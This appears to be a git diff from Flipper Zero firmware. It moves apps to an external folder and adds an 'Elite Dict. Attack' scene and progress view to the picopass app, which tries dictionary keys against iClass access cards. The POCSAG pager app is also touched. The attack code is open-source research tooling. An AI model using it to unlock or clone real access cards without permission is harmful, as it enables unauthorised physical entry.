a/applications/plugins/picopass/scenes/picopass_scene_card_menu.c b/applications/external/picopass/scenes/picopass_scene_card_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_card_menu.c rename to applications/external/picopass/scenes/picopass_scene_card_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_config.h b/applications/external/picopass/scenes/picopass_scene_config.h similarity index 92% rename from applications/plugins/picopass/scenes/picopass_scene_config.h rename to applications/external/picopass/scenes/picopass_scene_config.h index f5a90d46e..8ea970498 100644 --- a/applications/plugins/picopass/scenes/picopass_scene_config.h +++ b/applications/external/picopass/scenes/picopass_scene_config.h @@ -14,3 +14,4 @@ ADD_SCENE(picopass, write_card_success, WriteCardSuccess) ADD_SCENE(picopass, read_factory_success, ReadFactorySuccess) ADD_SCENE(picopass, write_key, WriteKey) ADD_SCENE(picopass, key_menu, KeyMenu) +ADD_SCENE(picopass, elite_dict_attack, EliteDictAttack) diff --git a/applications/plugins/picopass/scenes/picopass_scene_delete.c b/applications/external/picopass/scenes/picopass_scene_delete.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_delete.c rename to applications/external/picopass/scenes/picopass_scene_delete.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_delete_success.c b/applications/external/picopass/scenes/picopass_scene_delete_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_delete_success.c rename to applications/external/picopass/scenes/picopass_scene_delete_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_device_info.c b/applications/external/picopass/scenes/picopass_scene_device_info.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_device_info.c rename to applications/external/picopass/scenes/picopass_scene_device_info.c diff --git a/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c b/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c new file mode 100644 index 000000000..c76a8ffae --- /dev/null +++ b/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c @@ -0,0 +1,170 @@ +#include "../picopass_i.h" +#include + +#define TAG "IclassEliteDictAttack" + +typedef enum { + DictAttackStateIdle, + DictAttackStateUserDictInProgress, + DictAttackStateFlipperDictInProgress, + DictAttackStateStandardDictInProgress, +} DictAttackState; + +void picopass_dict_attack_worker_callback(PicopassWorkerEvent event, void* context) { + furi_assert(context); + Picopass* picopass = context; + view_dispatcher_send_custom_event(picopass->view_dispatcher, event); +} + +void picopass_dict_attack_result_callback(void* context) { + furi_assert(context); + Picopass* picopass = context; + view_dispatcher_send_custom_event( + picopass->view_dispatcher, PicopassCustomEventDictAttackSkip); +} + +static void + picopass_scene_elite_dict_attack_prepare_view(Picopass* picopass, DictAttackState state) { + IclassEliteDictAttackData* dict_attack_data = + &picopass->dev->dev_data.iclass_elite_dict_attack_data; + PicopassWorkerState worker_state = PicopassWorkerStateReady; + IclassEliteDict* dict = NULL; + + // Identify scene state + if(state == DictAttackStateIdle) { + if(iclass_elite_dict_check_presence(IclassEliteDictTypeUser)) { + FURI_LOG_D(TAG, "Starting with user dictionary"); + state = DictAttackStateUserDictInProgress; + } else { + FURI_LOG_D(TAG, "Starting with standard dictionary"); + state = DictAttackStateStandardDictInProgress; + } + } else if(state == DictAttackStateUserDictInProgress) { + FURI_LOG_D(TAG, "Moving from user dictionary to standard dictionary"); + state = DictAttackStateStandardDictInProgress; + } else if(state == DictAttackStateStandardDictInProgress) { + FURI_LOG_D(TAG, "Moving from standard dictionary to elite dictionary"); + state = DictAttackStateFlipperDictInProgress; + } + + // Setup view + if(state == DictAttackStateUserDictInProgress) { + worker_state = PicopassWorkerStateEliteDictAttack; + dict_attack_set_header(picopass->dict_attack, "Elite User Dictionary"); + dict_attack_data->type = IclassEliteDictTypeUser; + dict = iclass_elite_dict_alloc(IclassEliteDictTypeUser); + + // If failed to load user dictionary - try the system dictionary + if(!dict) { + FURI_LOG_E(TAG, "User dictionary not found"); + state = DictAttackStateStandardDictInProgress; + } + } + if(state == DictAttackStateStandardDictInProgress) { + worker_state = PicopassWorkerStateEliteDictAttack; + dict_attack_set_header(picopass->dict_attack, "Standard System Dictionary"); + dict_attack_data->type = IclassStandardDictTypeFlipper; + dict = iclass_elite_dict_alloc(IclassStandardDictTypeFlipper); + + if(!dict) { + FURI_LOG_E(TAG, "Flipper standard dictionary not found"); + state = DictAttackStateFlipperDictInProgress; + } + } + if(state == DictAttackStateFlipperDictInProgress) { + worker_state = PicopassWorkerStateEliteDictAttack; + dict_attack_set_header(picopass->dict_attack, "Elite System Dictionary"); + dict_attack_data->type = IclassEliteDictTypeFlipper; + dict = iclass_elite_dict_alloc(IclassEliteDictTypeFlipper); + if(!dict) { + FURI_LOG_E(TAG, "Flipper Elite dictionary not found"); + // Pass through to let the worker handle the failure + } + } + // Free previous dictionary + if(dict_attack_data->dict) { + iclass_elite_dict_free(dict_attack_data->dict); + } + dict_attack_data->dict = dict; + scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneEliteDictAttack, state); + dict_attack_set_callback( + picopass->dict_attack, picopass_dict_attack_result_callback, picopass); + dict_attack_set_current_sector(picopass->dict_attack, 0); + dict_attack_set_card_detected(picopass->dict_attack); + dict_attack_set_total_dict_keys( + picopass->dict_attack, dict ? iclass_elite_dict_get_total_keys(dict) : 0); + picopass_worker_start( + picopass->worker, + worker_state, + &picopass->dev->dev_data, + picopass_dict_attack_worker_callback, + picopass); +} + +void picopass_scene_elite_dict_attack_on_enter(void* context) { + Picopass* picopass = context; + picopass_scene_elite_dict_attack_prepare_view(picopass, DictAttackStateIdle); + view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewDictAttack); + picopass_blink_start(picopass); + notification_message(picopass->notifications, &sequence_display_backlight_enforce_on); +} + +bool picopass_scene_elite_dict_attack_on_event(void* context, SceneManagerEvent event) { + Picopass* picopass = context; + bool consumed = false; + + uint32_t state = + scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneEliteDictAttack); + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == PicopassWorkerEventSuccess || + event.event == PicopassWorkerEventAborted) { + if(state == DictAttackStateUserDictInProgress || + state == DictAttackStateStandardDictInProgress) { + picopass_worker_stop(picopass->worker); + picopass_scene_elite_dict_attack_prepare_view(picopass, state); + consumed = true; + } else { + scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); + consumed = true; + } + } else if(event.event == PicopassWorkerEventCardDetected) { + dict_attack_set_card_detected(picopass->dict_attack); + consumed = true; + } else if(event.event == PicopassWorkerEventNoCardDetected) { + dict_attack_set_card_removed(picopass->dict_attack); + consumed = true; + } else if(event.event == PicopassWorkerEventNewDictKeyBatch) { + dict_attack_inc_current_dict_key(picopass->dict_attack, PICOPASS_DICT_KEY_BATCH_SIZE); + consumed = true; + } else if(event.event == PicopassCustomEventDictAttackSkip) { + if(state == DictAttackStateUserDictInProgress) { + picopass_worker_stop(picopass->worker); + consumed = true; + } else if(state == DictAttackStateFlipperDictInProgress) { + picopass_worker_stop(picopass->worker); + consumed = true; + } else if(state == DictAttackStateStandardDictInProgress) { + picopass_worker_stop(picopass->worker); + consumed = true; + } + } + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_previous_scene(picopass->scene_manager); + } + return consumed; +} + +void picopass_scene_elite_dict_attack_on_exit(void* context) { + Picopass* picopass = context; + IclassEliteDictAttackData* dict_attack_data = + &picopass->dev->dev_data.iclass_elite_dict_attack_data; + // Stop worker + picopass_worker_stop(picopass->worker); + if(dict_attack_data->dict) { + iclass_elite_dict_free(dict_attack_data->dict); + dict_attack_data->dict = NULL; + } + dict_attack_reset(picopass->dict_attack); + picopass_blink_stop(picopass); + notification_message(picopass->notifications, &sequence_display_backlight_enforce_auto); +} diff --git a/applications/plugins/picopass/scenes/picopass_scene_file_select.c b/applications/external/picopass/scenes/picopass_scene_file_select.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_file_select.c rename to applications/external/picopass/scenes/picopass_scene_file_select.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_key_menu.c b/applications/external/picopass/scenes/picopass_scene_key_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_key_menu.c rename to applications/external/picopass/scenes/picopass_scene_key_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_card.c b/applications/external/picopass/scenes/picopass_scene_read_card.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_card.c rename to applications/external/picopass/scenes/picopass_scene_read_card.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_card_success.c b/applications/external/picopass/scenes/picopass_scene_read_card_success.c similarity index 86% rename from applications/plugins/picopass/scenes/picopass_scene_read_card_success.c rename to applications/external/picopass/scenes/picopass_scene_read_card_success.c index f078d460a..198b21d98 100644 --- a/applications/plugins/picopass/scenes/picopass_scene_read_card_success.c +++ b/applications/external/picopass/scenes/picopass_scene_read_card_success.c @@ -47,8 +47,21 @@ void picopass_scene_read_card_success_on_enter(void* context) { if(pacs->se_enabled) { furi_string_cat_printf(credential_str, "SE enabled"); } + + widget_add_button_element( + widget, + GuiButtonTypeCenter, + "Menu", + picopass_scene_read_card_success_widget_callback, + picopass); } else if(empty) { furi_string_cat_printf(wiegand_str, "Empty"); + widget_add_button_element( + widget, + GuiButtonTypeCenter, + "Menu", + picopass_scene_read_card_success_widget_callback, + picopass); } else if(pacs->record.bitLength == 0 || pacs->record.bitLength == 255) { // Neither of these are valid. Indicates the block was all 0x00 or all 0xff furi_string_cat_printf(wiegand_str, "Invalid PACS"); @@ -56,6 +69,12 @@ void picopass_scene_read_card_success_on_enter(void* context) { if(pacs->se_enabled) { furi_string_cat_printf(credential_str, "SE enabled"); } + widget_add_button_element( + widget, + GuiButtonTypeCenter, + "Menu", + picopass_scene_read_card_success_widget_callback, + picopass); } else { size_t bytesLength = 1 + pacs->record.bitLength / 8; furi_string_set(credential_str, ""); @@ -137,6 +156,9 @@ bool picopass_scene_read_card_success_on_event(void* context, SceneManagerEvent picopass_device_set_name(picopass->dev, ""); scene_manager_next_scene(picopass->scene_manager, PicopassSceneCardMenu); consumed = true; + } else if(event.event == GuiButtonTypeCenter) { + consumed = scene_manager_search_and_switch_to_another_scene( + picopass->scene_manager, PicopassSceneStart); } } return consumed; diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_factory_success.c b/applications/external/picopass/scenes/picopass_scene_read_factory_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_factory_success.c rename to applications/external/picopass/scenes/picopass_scene_read_factory_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_save_name.c b/applications/external/picopass/scenes/picopass_scene_save_name.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_save_name.c rename to applications/external/picopass/scenes/picopass_scene_save_name.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_save_success.c b/applications/external/picopass/scenes/picopass_scene_save_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_save_success.c rename to applications/external/picopass/scenes/picopass_scene_save_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_saved_menu.c b/applications/external/picopass/scenes/picopass_scene_saved_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_saved_menu.c rename to applications/external/picopass/scenes/picopass_scene_saved_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_start.c b/applications/external/picopass/scenes/picopass_scene_start.c similarity index 78% rename from applications/plugins/picopass/scenes/picopass_scene_start.c rename to applications/external/picopass/scenes/picopass_scene_start.c index d33a1d264..8f7b627aa 100644 --- a/applications/plugins/picopass/scenes/picopass_scene_start.c +++ b/applications/external/picopass/scenes/picopass_scene_start.c @@ -1,10 +1,8 @@ #include "../picopass_i.h" enum SubmenuIndex { SubmenuIndexRead, - SubmenuIndexRunScript, + SubmenuIndexEliteDictAttack, SubmenuIndexSaved, - SubmenuIndexAddManually, - SubmenuIndexDebug, }; void picopass_scene_start_submenu_callback(void* context, uint32_t index) { @@ -17,6 +15,12 @@ void picopass_scene_start_on_enter(void* context) { Submenu* submenu = picopass->submenu; submenu_add_item( submenu, "Read Card", SubmenuIndexRead, picopass_scene_start_submenu_callback, picopass); + submenu_add_item( + submenu, + "Elite Dict. Attack", + SubmenuIndexEliteDictAttack, + picopass_scene_start_submenu_callback, + picopass); submenu_add_item( submenu, "Saved", SubmenuIndexSaved, picopass_scene_start_submenu_callback, picopass); @@ -43,6 +47,11 @@ bool picopass_scene_start_on_event(void* context, SceneManagerEvent event) { picopass->scene_manager, PicopassSceneStart, SubmenuIndexSaved); scene_manager_next_scene(picopass->scene_manager, PicopassSceneFileSelect); consumed = true; + } else if(event.event == SubmenuIndexEliteDictAttack) { + scene_manager_set_scene_state( + picopass->scene_manager, PicopassSceneStart, SubmenuIndexEliteDictAttack); + scene_manager_next_scene(picopass->scene_manager, PicopassSceneEliteDictAttack); + consumed = true; } } diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_card.c b/applications/external/picopass/scenes/picopass_scene_write_card.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_card.c rename to applications/external/picopass/scenes/picopass_scene_write_card.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_card_success.c b/applications/external/picopass/scenes/picopass_scene_write_card_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_card_success.c rename to applications/external/picopass/scenes/picopass_scene_write_card_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_key.c b/applications/external/picopass/scenes/picopass_scene_write_key.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_key.c rename to applications/external/picopass/scenes/picopass_scene_write_key.c diff --git a/applications/external/picopass/views/dict_attack.c b/applications/external/picopass/views/dict_attack.c new file mode 100644 index 000000000..fb7335f6c --- /dev/null +++ b/applications/external/picopass/views/dict_attack.c @@ -0,0 +1,281 @@ +#include "dict_attack.h" + +#include + +typedef enum { + DictAttackStateRead, + DictAttackStateCardRemoved, +} DictAttackState; + +struct DictAttack { + View* view; + DictAttackCallback callback; + void* context; +}; + +typedef struct { + DictAttackState state; + MfClassicType type; + FuriString* header; + uint8_t sectors_total; + uint8_t sectors_read; + uint8_t sector_current; + uint8_t keys_total; + uint8_t keys_found; + uint16_t dict_keys_total; + uint16_t dict_keys_current; + bool is_key_attack; + uint8_t key_attack_current_sector; +} DictAttackViewModel; + +static void dict_attack_draw_callback(Canvas* canvas, void* model) { + DictAttackViewModel* m = model; + if(m->state == DictAttackStateCardRemoved) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); + canvas_set_font(canvas, FontSecondary); + elements_multiline_text_aligned( + canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); + } else if(m->state == DictAttackStateRead) { + char draw_str[32] = {}; + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned( + canvas, 64, 0, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); + if(m->is_key_attack) { + snprintf( + draw_str, + sizeof(draw_str), + "Reuse key check for sector: %d", + m->key_attack_current_sector); + } else { + snprintf(draw_str, sizeof(draw_str), "Unlocking sector: %d", m->sector_current); + } + canvas_draw_str_aligned(canvas, 0, 10, AlignLeft, AlignTop, draw_str); + float dict_progress = m->dict_keys_total == 0 ? + 0 : + (float)(m->dict_keys_current) / (float)(m->dict_keys_total); + float progress = m->sectors_total == 0 ? 0 : + ((float)(m->sector_current) + dict_progress) / + (float)(m->sectors_total); + if(progress > 1.0) { + progress = 1.0; + } + if(m->dict_keys_current == 0) { + // Cause when people see 0 they think it's broken + snprintf(draw_str, sizeof(draw_str), "%d/%d", 1, m->dict_keys_total); + } else { + snprintf( + draw_str, sizeof(draw_str), "%d/%d", m->dict_keys_current, m->dict_keys_total); + } + elements_progress_bar_with_text(canvas, 0, 20, 128, dict_progress, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf(draw_str, sizeof(draw_str), "Keys found: %d/%d", m->keys_found, m->keys_total); + canvas_draw_str_aligned(canvas, 0, 33, AlignLeft, AlignTop, draw_str); + snprintf( + draw_str, sizeof(draw_str), "Sectors Read: %d/%d", m->sectors_read, m->sectors_total); + canvas_draw_str_aligned(canvas, 0, 43, AlignLeft, AlignTop, draw_str); + } + elements_button_center(canvas, "Skip"); +} + +static bool dict_attack_input_callback(InputEvent* event, void* context) { + DictAttack* dict_attack = context; + bool consumed = false; + if(event->type == InputTypeShort && event->key == InputKeyOk) { + if(dict_attack->callback) { + dict_attack->callback(dict_attack->context); + } + consumed = true; + } + return consumed; +} + +DictAttack* dict_attack_alloc() { + DictAttack* dict_attack = malloc(sizeof(DictAttack)); + dict_attack->view = view_alloc(); + view_allocate_model(dict_attack->view, ViewModelTypeLocking, sizeof(DictAttackViewModel)); + view_set_draw_callback(dict_attack->view, dict_attack_draw_callback); + view_set_input_callback(dict_attack->view, dict_attack_input_callback); + view_set_context(dict_attack->view, dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { model->header = furi_string_alloc(); }, + false); + return dict_attack; +} + +void dict_attack_free(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { furi_string_free(model->header); }, + false); + view_free(dict_attack->view); + free(dict_attack); +} + +void dict_attack_reset(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + model->state = DictAttackStateRead; + model->type = MfClassicType1k; + model->sectors_total = 1; + model->sectors_read = 0; + model->sector_current = 0; + model->keys_total = 0; + model->keys_found = 0; + model->dict_keys_total = 0; + model->dict_keys_current = 0; + model->is_key_attack = false; + furi_string_reset(model->header); + }, + false); +} + +View* dict_attack_get_view(DictAttack* dict_attack) { + furi_assert(dict_attack); + return dict_attack->view; +} + +void dict_attack_set_callback(DictAttack* dict_attack, DictAttackCallback callback, void* context) { + furi_assert(dict_attack); + furi_assert(callback); + dict_attack->callback = callback; + dict_attack->context = context; +} + +void dict_attack_set_header(DictAttack* dict_attack, const char* header) { + furi_assert(dict_attack); + furi_assert(header); + + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { furi_string_set(model->header, header); }, + true); +} + +void dict_attack_set_card_detected(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + model->state = DictAttackStateRead; + model->sectors_total = 1; + model->keys_total = model->sectors_total; + }, + true); +} + +void dict_attack_set_card_removed(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { model->state = DictAttackStateCardRemoved; }, + true); +} + +void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, DictAttackViewModel * model, { model->sectors_read = sec_read; }, true); +} + +void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, DictAttackViewModel * model, { model->keys_found = keys_found; }, true); +} + +void dict_attack_set_current_sector(DictAttack* dict_attack, uint8_t curr_sec) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + model->sector_current = curr_sec; + model->dict_keys_current = 0; + }, + true); +} + +void dict_attack_inc_current_sector(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + if(model->sector_current < model->sectors_total) { + model->sector_current++; + model->dict_keys_current = 0; + } + }, + true); +} + +void dict_attack_inc_keys_found(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + if(model->keys_found < model->keys_total) { + model->keys_found++; + } + }, + true); +} + +void dict_attack_set_total_dict_keys(DictAttack* dict_attack, uint16_t dict_keys_total) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { model->dict_keys_total = dict_keys_total; }, + true); +} + +void dict_attack_inc_current_dict_key(DictAttack* dict_attack, uint16_t keys_tried) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + if(model->dict_keys_current + keys_tried < model->dict_keys_total) { + model->dict_keys_current += keys_tried; + } + }, + true); +} + +void dict_attack_set_key_attack(DictAttack* dict_attack, bool is_key_attack, uint8_t sector) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + model->is_key_attack = is_key_attack; + model->key_attack_current_sector = sector; + }, + true); +} + +void dict_attack_inc_key_attack_current_sector(DictAttack* dict_attack) { + furi_assert(dict_attack); + with_view_model( + dict_attack->view, + DictAttackViewModel * model, + { + if(model->key_attack_current_sector < model->sectors_total) { + model->key_attack_current_sector++; + } + }, + true); +} diff --git a/applications/external/picopass/views/dict_attack.h b/applications/external/picopass/views/dict_attack.h new file mode 100644 index 000000000..bdfa3e952 --- /dev/null +++ b/applications/external/picopass/views/dict_attack.h @@ -0,0 +1,44 @@ +#pragma once +#include +#include +#include + +#include + +typedef struct DictAttack DictAttack; + +typedef void (*DictAttackCallback)(void* context); + +DictAttack* dict_attack_alloc(); + +void dict_attack_free(DictAttack* dict_attack); + +void dict_attack_reset(DictAttack* dict_attack); + +View* dict_attack_get_view(DictAttack* dict_attack); + +void dict_attack_set_callback(DictAttack* dict_attack, DictAttackCallback callback, void* context); + +void dict_attack_set_header(DictAttack* dict_attack, const char* header); + +void dict_attack_set_card_detected(DictAttack* dict_attack); + +void dict_attack_set_card_removed(DictAttack* dict_attack); + +void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read); + +void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found); + +void dict_attack_set_current_sector(DictAttack* dict_attack, uint8_t curr_sec); + +void dict_attack_inc_current_sector(DictAttack* dict_attack); + +void dict_attack_inc_keys_found(DictAttack* dict_attack); + +void dict_attack_set_total_dict_keys(DictAttack* dict_attack, uint16_t dict_keys_total); + +void dict_attack_inc_current_dict_key(DictAttack* dict_attack, uint16_t keys_tried); + +void dict_attack_set_key_attack(DictAttack* dict_attack, bool is_key_attack, uint8_t sector); + +void dict_attack_inc_key_attack_current_sector(DictAttack* dict_attack); diff --git a/applications/plugins/pocsag_pager/application.fam b/applications/external/pocsag_pager/application.fam similarity index 78% rename from applications/plugins/pocsag_pager/application.fam rename to applications/external/pocsag_pager/application.fam index 86f8d528b..3cef05374 100644 --- a/applications/plugins/pocsag_pager/application.fam +++ b/applications/external/pocsag_pager/application.fam @@ -1,9 +1,8 @@ App( appid="pocsag_pager", name="POCSAG Pager", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="pocsag_pager_app", - cdefines=["APP_POCSAG_PAGER"], requires=["gui"], stack_size=4 * 1024, order=50, diff --git a/applications/plugins/pocsag_pager/helpers/pocsag_pager_event.h b/applications/external/pocsag_pager/helpers/pocsag_pager_event.h similarity index 100% rename from applications/plugins/pocsag_pager/helpers/pocsag_pager_event.h rename to applications/external/pocsag_pager/helpers/pocsag_pager_event.h diff --git a/applications/plugins/pocsag_pager/helpers/pocsag_pager_types.h b/applications/external/pocsag_pager/helpers/pocsag_pager_types.h similarity index 100% rename from applications/plugins/pocsag_pager/helpers/pocsag_pager_types.h rename to applications/external/pocsag_pager/helpers/pocsag_pager_types.h diff --git a/applications/plugins/pocsag_pager/images/Lock_7x8.png b/applications/external/pocsag_pager/images/Lock_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Lock_7x8.png rename to applications/external/pocsag_pager/images/Lock_7x8.png diff --git a/applications/plugins/pocsag_pager/images/Message_8x7.png b/applications/external/pocsag_pager/images/Message_8x7.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Message_8x7.png rename to applications/external/pocsag_pager/images/Message_8x7.png diff --git a/applications/plugins/pocsag_pager/images/Pin_back_arrow_10x8.png b/applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Pin_back_arrow_10x8.png rename to applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png diff --git a/applications/plugins/pocsag_pager/images/Quest_7x8.png b/applications/external/pocsag_pager/images/Quest_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Quest_7x8.png rename to applications/external/pocsag_pager/images/Quest_7x8.png diff --git a/applications/plugins/pocsag_pager/images/Scanning_123x52.png b/applications/external/pocsag_pager/images/Scanning_123x52.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Scanning_123x52.png rename to applications/external/pocsag_pager/images/Scanning_123x52.png diff --git a/applications/plugins/pocsag_pager/images/Unlock_7x8.png b/applications/external/pocsag_pager/images/Unlock_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Unlock_7x8.png rename to applications/external/pocsag_pager/images/Unlock_7x8.png diff --git a/applications/plugins/pocsag_pager/images/WarningDolphin_45x42.png b/applications/external/pocsag_pager/images/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/pocsag_pager/images/WarningDolphin_45x42.png rename to applications/external/pocsag_pager/images/WarningDolphin_45x42.png diff --git a/applications/plugins/pocsag_pager/pocsag_pager_10px.png b/applications/external/pocsag_pager/pocsag_pager_10px.png similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_10px.png rename to applications/external/pocsag_pager/pocsag_pager_10px.png diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app.c b/applications/external/pocsag_pager/pocsag_pager_app.c similarity index 96% rename from applications/plugins/pocsag_pager/pocsag_pager_app.c rename to applications/external/pocsag_pager/pocsag_pager_app.c index 123b3ee9d..d4b12c466 100644 --- a/applications/plugins/pocsag_pager/pocsag_pager_app.c +++ b/applications/external/pocsag_pager/pocsag_pager_app.c @@ -4,6 +4,7 @@ #include #include #include "protocols/protocol_items.h" +#include static bool pocsag_pager_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -124,6 +125,11 @@ POCSAGPagerApp* pocsag_pager_app_alloc() { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); @@ -193,6 +199,7 @@ int32_t pocsag_pager_app(void* p) { UNUSED(p); POCSAGPagerApp* pocsag_pager_app = pocsag_pager_app_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); view_dispatcher_run(pocsag_pager_app->view_dispatcher); pocsag_pager_app_free(pocsag_pager_app); diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app_i.c b/applications/external/pocsag_pager/pocsag_pager_app_i.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app_i.c rename to applications/external/pocsag_pager/pocsag_pager_app_i.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app_i.h b/applications/external/pocsag_pager/pocsag_pager_app_i.h similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app_i.h rename to applications/external/pocsag_pager/pocsag_pager_app_i.h diff --git a/applications/plugins/pocsag_pager/pocsag_pager_history.c b/applications/external/pocsag_pager/pocsag_pager_history.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_history.c rename to applications/external/pocsag_pager/pocsag_pager_history.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_history.h b/applications/external/pocsag_pager/pocsag_pager_history.h similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_history.h rename to applications/external/pocsag_pager/pocsag_pager_history.h diff --git a/applications/plugins/pocsag_pager/protocols/pcsg_generic.c b/applications/external/pocsag_pager/protocols/pcsg_generic.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pcsg_generic.c rename to applications/external/pocsag_pager/protocols/pcsg_generic.c diff --git a/applications/plugins/pocsag_pager/protocols/pcsg_generic.h b/applications/external/pocsag_pager/protocols/pcsg_generic.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pcsg_generic.h rename to applications/external/pocsag_pager/protocols/pcsg_generic.h diff --git a/applications/plugins/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c similarity index 99% rename from applications/plugins/pocsag_pager/protocols/pocsag.c rename to applications/external/pocsag_pager/protocols/pocsag.c index ca210c2a4..0296a70a7 100644 --- a/applications/plugins/pocsag_pager/protocols/pocsag.c +++ b/applications/external/pocsag_pager/protocols/pocsag.c @@ -157,8 +157,7 @@ static bool pocsag_decode_message_word(SubGhzProtocolDecoderPocsag* instance, ui // Function called when current message got decoded, but other messages might follow static void pocsag_message_done(SubGhzProtocolDecoderPocsag* instance) { // append the message to the long-term storage string - furi_string_cat_printf( - instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); + furi_string_printf(instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); furi_string_cat_str(instance->generic.result_ric, func_msg[instance->func]); if(instance->func != POCSAG_FUNC_ALERT1) { furi_string_cat(instance->done_msg, instance->msg); diff --git a/applications/plugins/pocsag_pager/protocols/pocsag.h b/applications/external/pocsag_pager/protocols/pocsag.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pocsag.h rename to applications/external/pocsag_pager/protocols/pocsag.h diff --git a/applications/plugins/pocsag_pager/protocols/protocol_items.c b/applications/external/pocsag_pager/protocols/protocol_items.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/protocol_items.c rename to applications/external/pocsag_pager/protocols/protocol_items.c diff --git a/applications/plugins/pocsag_pager/protocols/protocol_items.h b/applications/external/pocsag_pager/protocols/protocol_items.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/protocol_items.h 